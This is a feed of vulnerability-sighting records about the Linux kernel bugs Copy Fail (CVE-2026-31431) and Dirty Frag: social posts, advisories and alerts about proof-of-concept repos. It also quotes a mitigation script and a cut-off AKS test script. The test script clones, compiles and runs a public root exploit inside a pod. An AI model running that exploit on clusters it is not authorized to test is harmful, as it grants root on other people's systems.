"vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/threatintel.microsoft.com/post/3mlebbbfqqs2p", "content": "Similar to the previously disclosed Copy Fail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.", "creation_timestamp": "2026-05-08T17:34:25.056560Z"}, {"uuid": "e7502325-77eb-4e41-863c-a5ad40f98e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/threatintel.microsoft.com/post/3mlebbdebq22p", "content": "Similar to the previously disclosed Copy Fail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.", "creation_timestamp": "2026-05-08T17:34:25.662935Z"}, {"uuid": "fc060951-4939-4911-8338-296cf6ec14d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/martijnengler/af7e9116199ba7e8e6e1df7d4ca2ebbc", "content": "#!/bin/sh\n\n# https://www.transip.nl/knowledgebase/controleren-of-je-vps-ipsecesp-xfrm-of-rxrpcafs-gebruikt\n# https://www.transip.nl/knowledgebase/copy-fail-cve-2026-31431-je-linux-vps-controleren-en-patchen/#Controleer-en-update-je-Linux-VPS\n\nset -eu\n\nCONF=/etc/modprobe.d/dirtyfrag.conf\n\nusage() {\n  echo \"Usage: $0 [--check|--disable|--revert]\"\n  exit 1\n}\n\nrun() {\n  echo \"+ $*\"\n  \"$@\"\n}\n\ncheck_ipsec() {\n  echo \"== IPsec / XFRM ==\"\n  echo \"-- xfrm state --\"\n  ip xfrm state || true\n  echo \"-- xfrm policy --\"\n  ip xfrm policy || true\n\n  echo \"-- loaded IPsec-related modules --\"\n  lsmod | egrep '^(esp4|esp6|xfrm_user|xfrm_algo|af_key)' || true\n\n  echo \"-- known IPsec services --\"\n  systemctl --type=service | egrep 'strongswan|libreswan|ipsec|racoon' || true\n\n  echo \"-- IKE / NAT-T ports --\"\n  ss -lunp | egrep ':(500|4500)\\b' || true\n}\n\ncheck_rxrpc_afs() {\n  echo\n  echo \"== RxRPC / AFS ==\"\n  echo \"-- loaded RxRPC/AFS modules --\"\n  lsmod | egrep '^(rxrpc|kafs|openafs)' || true\n\n  echo \"-- AFS processes --\"\n  ps aux | egrep 'afs|openafs|kafs' | grep -v grep || true\n\n  echo \"-- AFS services --\"\n  systemctl --type=service | egrep 'afs|openafs' || true\n}\n\ndisable_dirtyfrag() {\n  if [ \"$(id -u)\" -ne 0 ]; then\n    echo \"Run with sudo for --disable\"\n    exit 1\n  fi\n\n  echo \"Writing $CONF\"\n  cat > \"$CONF\" <<'EOF'\ninstall esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\nEOF\n\n  echo \"Unloading modules if currently loaded\"\n  rmmod esp4 esp6 rxrpc 2>/dev/null || true\n\n  echo \"Dropping page cache\"\n  sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n\n  echo \"Done. Current relevant module status:\"\n  lsmod | egrep '^(esp4|esp6|rxrpc)' || echo \"OK: esp4/esp6/rxrpc not loaded\"\n}\n\nrevert_dirtyfrag() {\n  if [ \"$(id -u)\" -ne 0 ]; then\n    echo \"Run with sudo for --revert\"\n    exit 1\n  fi\n\n  rm -f \"$CONF\"\n  echo \"Removed $CONF\"\n  echo \"Reboot, or manually modprobe modules again if needed.\"\n}\n\nMODE=\"${1:---check}\"\n\ncase \"$MODE\" in\n  --check)\n    check_ipsec\n    check_rxrpc_afs\n    ;;\n  --disable)\n    check_ipsec\n    check_rxrpc_afs\n    echo\n    echo \"About to disable esp4, esp6, and rxrpc.\"\n    echo \"This can break IPsec VPNs and AFS/RxRPC.\"\n    printf \"Continue? [y/N] \"\n    read ans\n    case \"$ans\" in\n      y|Y|yes|YES) disable_dirtyfrag ;;\n      *) echo \"Aborted.\" ;;\n    esac\n    ;;\n  --revert)\n    revert_dirtyfrag\n    ;;\n  *)\n    usage\n    ;;\nesac", "creation_timestamp": "2026-05-08T17:50:09.000000Z"}, {"uuid": "8d3a4523-f9ad-42ad-b830-c11796a30a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nicolas17.xyz/post/3mleijak4qk24", "content": "Did you update your Linux kernel *again* to protect against the last privilege escalation bug?\n\nNo, not CopyFail (CVE-2026-31431), the new DirtyFrag (CVE-2026-43284, CVE-2026-43500).", "creation_timestamp": "2026-05-08T19:44:03.563348Z"}, {"uuid": "9ee48f1c-8826-4d3e-8277-331e38694d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83400", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-43284\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a attaattaatta\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 18:44:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 + CVE-2026-43284 golang hotfix\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T19:00:04.000000Z"}, {"uuid": "6c32b47a-f672-42a6-868f-fa588b9a10d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mlelwpbn7e24", "content": "\ud83d\udcf0 CVE-2026-31431: \"Copy Fail\" Linux Kernel Privilege Escalation\n\nComplete breakdown of CVE-2026-31431 \n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-31431-copy-fail\n\n#infosec #cybersecurity #networking", "creation_timestamp": "2026-05-08T20:45:15.596106Z"}, {"uuid": "89f98550-8e4c-40a4-99c9-e3c255d433c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/almalinux.org/post/3mlelul4a7v2h", "content": "\u26a0\ufe0f PSA: patch your AlmaLinux systems. \n\nCopy Fail lets any local user escalate to root. We shipped fixes for AL 8, 9 & 10 ahead of upstream\u2014they're in production now. https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/?utm_medium=social&utm_source=bluesky", "creation_timestamp": "2026-05-08T20:44:06.550945Z"}, {"uuid": "71968499-d7fe-48e6-82d7-3f9fc1596a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mlelxqnws42c", "content": "CVE-2026-31431: \"Copy Fail\" Linux Kernel Privilege Escalation\n\nComplete breakdown of CVE-2026-31431 \n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-31431-copy-fail\n\n#infosec #cybersecurity", "creation_timestamp": "2026-05-08T20:45:50.462298Z"}, {"uuid": "5266b4f2-487a-4a53-90b4-1a0962bcd8fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kubonai.bsky.social/post/3mlem2334ku2q", "content": "CVE-2026-31431: \"Copy Fail\" Linux Kernel Privilege Escalation\n\nComplete breakdown of CVE-2026-31431 \n\n\ud83d\udd17 https://ipsec.live/blog/cve-2026-31431-copy-fail\n\n#infosec #cybersecurity", "creation_timestamp": "2026-05-08T20:47:08.467704Z"}, {"uuid": "006334e2-0a8a-47db-b368-a09ad0769c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/bpwD1lFGrjpZJE8nZPfkQ7he0n0Dc1Zua8DNoZEQncgtG5Y", "content": "", "creation_timestamp": "2026-05-08T15:00:06.000000Z"}, {"uuid": "60d93355-c4f2-4d76-956c-b118e2ae6fab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3mlen7cuskf22", "content": "A recent vulnerability, Copy Fail (CVE-2026-31431), allows local unprivileged users to gain root shells in Linux containers. While rootless Podman containers are susceptible, features like user namespaces, dropping capabilities, and disabling new privileges can significantly limit the exploit's i...", "creation_timestamp": "2026-05-08T21:07:58.159601Z"}, {"uuid": "b1d48be3-eaff-4579-9874-26f8d700d887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mleo6qhizm2r", "content": "CVE-2026-31431: Copy Fail\nDiscussion | lobsters | Author: fro", "creation_timestamp": "2026-05-08T21:25:32.880953Z"}, {"uuid": "b4053a83-932c-47a9-92db-5431588c4d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3mleoyobtbn27", "content": "CVE-2026-31431: Copy Fail https://lobste.rs/s/ksg1es #security #linux ", "creation_timestamp": "2026-05-08T21:40:04.683915Z"}, {"uuid": "13722a82-d794-4e75-a140-6ee2e35b56d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/83407", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a DIRTYFAIL\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KaraZajac\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 19:58:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetector + PoC for Linux page-cache write vulnerabilities: Copy Fail (CVE-2026-31431) and Dirty Frag (CVE-2026-43284/43500). Authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T20:00:04.000000Z"}, {"uuid": "5672dcc4-d632-498a-8b51-b4585684f93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/L06xv0vm_v9B-lUjnDANUtY1-6vQFMFDzrcYuiA5m0MAZkY", "content": "", "creation_timestamp": "2026-05-08T21:00:04.000000Z"}, {"uuid": "4f5da61c-ee48-4fe3-b543-43f46b6c1cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlf77ax52d2i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 202 interactions\nCVE-2026-0073: 79 interactions\nCVE-2026-41940: 66 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0073: 66 interactions\nCVE-2026-43284: 61 interactions\nCVE-2026-7270: 32 interactions\n", "creation_timestamp": "2026-05-09T02:30:08.369234Z"}, {"uuid": "e8098907-0b54-4a12-9074-65edabf86b72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31892", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlfhcf56ni2p", "content": "CVE-2026-42296 - Argo Workflows has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure\nCVE ID : CVE-2026-42296\n \n Published : May 9, 2026, 3:52 a.m. | 34\u00a0minutes ago\n \n Description : Argo Workflows is an...", "creation_timestamp": "2026-05-09T04:54:59.100344Z"}, {"uuid": "5f74684c-d7d8-49be-9376-1fdc5b34380b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/4NJNTXQkcEn5li8gJwvGdzAksckTW0TBP2bovQOhIHsVRA", "content": "", "creation_timestamp": "2026-05-08T08:06:31.000000Z"}, {"uuid": "14a0d784-06d0-4e26-a09a-414b4fbecb2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mlfrjgkgbk2g", "content": "Another Universal Linux Local Privilege Escalation (LPE) Vulnerability: Dirty Frag, (Fri, May 8th)\n\nLess than two weeks after the public disclosure of the Copy Fail vulnerability (CVE-2026-31431), another local privilege escalation (LPE) vulnerability in the Linux kernel has been \u2026\n#hackernews #news", "creation_timestamp": "2026-05-09T07:57:52.699522Z"}, {"uuid": "33136d9d-3f4a-4bb7-9666-eaaf0ddfae0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83467", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy_fail_mitigation\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vorkampfer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-09 04:40:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis script will attempt to mitigate the copy_fail attack. CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-09T05:00:04.000000Z"}, {"uuid": "d8e2498a-9991-43c1-bfde-ece8867e8977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83478", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-cve-2026-31431-linux-kernel-page-cache-lpe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Hunt-Benito\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-09 06:57:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-09T07:00:04.000000Z"}, {"uuid": "53dd9450-e70f-43b4-8271-ef11d073704d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlfshfslugt2", "content": "Daniel Baumann: Debian: Linux Vulnerability Mitigation (Dirty Frag) After Copy Fail [ CVE-2026-31431 ] from last week, the new Linux local root privilege escalations of today are Dirty Frag (Part 1...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-09T08:14:44.826066Z"}, {"uuid": "7cc5df2e-8fee-464b-88b0-0d151249a166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mlfvbi7qic2y", "content": "CVE-2026-31431: Copy Fail retr0.zip/blog/cve-202...", "creation_timestamp": "2026-05-09T09:05:01.323856Z"}, {"uuid": "71cc6627-75e1-4644-90fb-b430f20ad369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31756", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:48:19.691572Z"}, {"uuid": "0466b9c5-8cfd-4240-8436-3d1b4001be19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/kzzalews/dc37275ebd58c0367245260abd1b5145", "content": "#!/usr/bin/env bash\n# =============================================================================\n# DirtyFrag & Copy Fail \u2014 Empirical Exploitability Test\n# Target:  Any AKS cluster (Ubuntu 22.04, kernel 5.15.x-azure)\n# CVEs:    CVE-2026-43284 (DirtyFrag xfrm-ESP)\n#          CVE-2026-43500 (DirtyFrag RxRPC)\n#          CVE-2026-31431 (Copy Fail / algif_aead)\n# Advisory: https://github.com/Azure/AKS/issues/5753\n# Author:  Karol Zalewski / Aiko (Claude Sonnet 4.6) \u2014 2026-05-09\n#\n# USAGE:\n#   Set AZ_RG, AZ_CLUSTER, KUBE_CONTEXT below to match your cluster,\n#   then run:  ./dirtyfrag-cve-test.sh 2>&1 | tee results.txt\n#\n# WARNING: This script compiles and executes a public exploit PoC\n#   (V4bel/dirtyfrag). Run only in DEV/test environments, with\n#   explicit team approval, and only if you are authorised to do so.\n# =============================================================================\n\nset -euo pipefail\n\n# --- config \u2014 EDIT THESE -----------------------------------------------------\nAZ_RG=\"example-rg\"                      # Azure resource group of the cluster\nAZ_CLUSTER=\"example-cluster\"            # AKS cluster name\nKUBE_CONTEXT=\"example-cluster\"          # kubectl context name\nNAMESPACE=\"default\"\nTEST_NODE_POOL=\"nodepool1\"               # picks first schedulable node from this pool\nPOD_DIRTYFRAG=\"dirtyfrag-test\"\nPOD_COPYFAIL=\"copyfail-test\"\n# -----------------------------------------------------------------------------\n\nRED='\\033[0;31m'; YELLOW='\\033[1;33m'; GREEN='\\033[0;32m'; CYAN='\\033[0;36m'; NC='\\033[0m'\n\nlog()  { echo -e \"${CYAN}[$(date +%H:%M:%S)]${NC} $*\"; }\nok()   { echo -e \"${GREEN}[OK]${NC} $*\"; }\nwarn() { echo -e \"${YELLOW}[WARN]${NC} $*\"; }\nerr()  { echo -e \"${RED}[ERROR]${NC} $*\"; }\n\nconfirm() {\n  local msg=\"${1:-Continue?}\"\n  echo \"\"\n  read -r -p \"$(echo -e \"${YELLOW}>>> ${msg} [y/N] ${NC}\")\" ans\n  [[ \"${ans}\" =~ ^[Yy]$ ]] || { warn \"Skipped by user.\"; return 1; }\n}\n\n# --- cleanup -----------------------------------------------------------------\nCLEANUP_DONE=0\ncleanup() {\n  [[ ${CLEANUP_DONE} -eq 1 ]] && return\n  CLEANUP_DONE=1\n  echo \"\"\n  warn \"=== CLEANUP ===\"\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \"${POD_COPYFAIL}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\n  ok \"Test pods removed.\"\n}\ntrap cleanup EXIT INT TERM\n\n# =============================================================================\n# STEP 0 \u2014 Fetch kubeconfig & switch context\n# =============================================================================\necho \"\"\necho -e \"${CYAN}========================================${NC}\"\necho -e \"${CYAN}  DirtyFrag / Copy Fail \u2014 CVE Test     ${NC}\"\necho -e \"${CYAN}========================================${NC}\"\necho \"\"\n\nlog \"Step 0: Fetching kubeconfig for ${AZ_CLUSTER} (RG: ${AZ_RG})\"\naz aks get-credentials \\\n  --resource-group \"${AZ_RG}\" \\\n  --name \"${AZ_CLUSTER}\" \\\n  --overwrite-existing\nok \"Kubeconfig merged.\"\n\nkubectl config use-context \"${KUBE_CONTEXT}\"\nok \"Context set to: ${KUBE_CONTEXT}\"\n\n# --- sanity check ------------------------------------------------------------\nlog \"Verifying node state...\"\nkubectl --context \"${KUBE_CONTEXT}\" get nodes \\\n  -o custom-columns=\"NAME:.metadata.name,STATUS:.status.conditions[-1].type,KERNEL:.status.nodeInfo.kernelVersion,SCHED:.spec.unschedulable\" \\\n  2>/dev/null || true\necho \"\"\n\n# Pick first schedulable node from the target pool\nTARGET_NODE=$(kubectl --context \"${KUBE_CONTEXT}\" get nodes \\\n  --no-headers \\\n  -o custom-columns=\"NAME:.metadata.name,SCHED:.spec.unschedulable\" \\\n  2>/dev/null \\\n  | awk -v pool=\"${TEST_NODE_POOL}\" '$1 ~ pool && $2 == \"\" {print $1; exit}')\n\nif [[ -z \"${TARGET_NODE}\" ]]; then\n  err \"No schedulable '${TEST_NODE_POOL}' node found. Check node status above and re-run.\"\n  exit 1\nfi\nok \"Target node: ${TARGET_NODE}\"\n\n# =============================================================================\n# STEP 1 \u2014 DirtyFrag xfrm-ESP (CVE-2026-43284) \u2014 THE KEY QUESTION\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 1: DirtyFrag xfrm-ESP (CVE-2026-43284) ---${NC}\"\nwarn \"This step compiles and runs the researcher PoC (V4bel/dirtyfrag).\"\nwarn \"Expected outcomes:\"\nwarn \"  ROOT SHELL   \u2192 kernel 5.15 IS vulnerable to xfrm-ESP; AKS advisory incorrect\"\nwarn \"  EXPLOIT FAIL \u2192 kernel 5.15 is NOT vulnerable; AKS advisory correct\"\necho \"\"\n\nconfirm \"Run DirtyFrag xfrm-ESP test on ${TARGET_NODE}?\" || { warn \"Skipping Step 1.\"; goto_step2=1; }\n\nif [[ -z \"${goto_step2:-}\" ]]; then\n  log \"Spawning compiler pod (gcc:13) on ${TARGET_NODE}...\"\n  kubectl --context \"${KUBE_CONTEXT}\" run \"${POD_DIRTYFRAG}\" \\\n    --image=gcc:13 \\\n    --restart=Never \\\n    --namespace \"${NAMESPACE}\" \\\n    --overrides=\"$(printf '{\n      \"spec\": {\n        \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n        \"tolerations\": [{\"operator\": \"Exists\"}]\n      }\n    }' \"${TARGET_NODE}\")\" \\\n    -- sleep 1800\n\n  log \"Waiting for pod to be Ready (up to 120s)...\"\n  kubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_DIRTYFRAG}\" \\\n    --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\"\n  ok \"Pod ready.\"\n\n  KERNEL=$(kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- uname -r 2>/dev/null)\n  log \"Kernel on node: ${KERNEL}\"\n\n  log \"Cloning and compiling DirtyFrag PoC inside pod...\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- bash -c '\n      git clone https://github.com/V4bel/dirtyfrag.git /tmp/dirtyfrag 2>&1\n      cd /tmp/dirtyfrag\n      gcc -O0 -Wall -o exp exp.c -lutil 2>&1\n      echo \"[COMPILE OK] binary: /tmp/dirtyfrag/exp\"\n    '\n\n  echo \"\"\n  warn \"About to execute the exploit as UID 65534 (nobody) inside the pod.\"\n  warn \"Watch for: root shell, uid=0, or /etc/passwd modification.\"\n  warn \"If you get a root prompt inside the pod, type 'exit' to return.\"\n  confirm \"Execute ./exp inside pod?\" || { warn \"Exploit execution skipped.\"; }\n\n  echo \"\"\n  echo -e \"${RED}=== EXPLOIT OUTPUT START ===${NC}\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec -it \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c 'cd /tmp/dirtyfrag && su -s /bin/bash nobody -c \"./exp\" 2>&1 || ./exp' \\\n    || true\n  echo -e \"${RED}=== EXPLOIT OUTPUT END ===${NC}\"\n  echo \"\"\n\n  log \"Step 1 cleanup: clearing page cache and unloading modules on node...\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c 'echo 3 > /proc/sys/vm/drop_caches 2>/dev/null; rmmod esp4 esp6 rxrpc 2>/dev/null; echo \"cleanup done\"' \\\n    || warn \"Page cache flush may require privileged access \u2014 check node manually if exploit succeeded.\"\n\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\n  ok \"Step 1 pod removed.\"\nfi\n\n# =============================================================================\n# STEP 2 \u2014 DirtyFrag RxRPC (CVE-2026-43500) \u2014 expected FAIL on 5.15\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 2: DirtyFrag RxRPC (CVE-2026-43500) ---${NC}\"\nwarn \"Expected: FAIL. Both AKS advisory and researcher agree RxRPC requires kernel >= 6.4.\"\nwarn \"This step confirms that kernel 5.15 is out-of-range for the RxRPC chain.\"\necho \"\"\n\nconfirm \"Run DirtyFrag RxRPC test (expected fail)?\" || { warn \"Skipping Step 2.\"; }\n\nif [[ \"${BASH_REMATCH[0]}\" != \"\" ]] || true; then\n  log \"Re-using same pod setup for Step 2...\"\n  kubectl --context \"${KUBE_CONTEXT}\" run \"${POD_DIRTYFRAG}\" \\\n    --image=gcc:13 \\\n    --restart=Never \\\n    --namespace \"${NAMESPACE}\" \\\n    --overrides=\"$(printf '{\n      \"spec\": {\n        \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n        \"tolerations\": [{\"operator\": \"Exists\"}]\n      }\n    }' \"${TARGET_NODE}\")\" \\\n    -- sleep 600 2>/dev/null || true\n\n  kubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_DIRTYFRAG}\" \\\n    --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\" 2>/dev/null || true\n\n  log \"Checking if rxrpc module loads on 5.15...\"\n  echo -e \"${RED}=== RXRPC MODULE CHECK ===${NC}\"\n  kubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_DIRTYFRAG}\" \\\n    --namespace \"${NAMESPACE}\" -- \\\n    bash -c '\n      uname -r\n      echo \"Attempting to load rxrpc...\"\n      modprobe rxrpc 2>&1 || echo \"modprobe rxrpc: failed (expected on 5.15 if module not present)\"\n      lsmod | grep rxrpc || echo \"rxrpc: not loaded\"\n      ls /lib/modules/$(uname -r)/kernel/net/rxrpc/ 2>/dev/null || echo \"rxrpc module directory: not found (kernel too old)\"\n    ' || true\n  echo -e \"${RED}=== END ===${NC}\"\n\n  kubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_DIRTYFRAG}\" \\\n    --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\n  ok \"Step 2 done.\"\nfi\n\n# =============================================================================\n# STEP 3 \u2014 Copy Fail 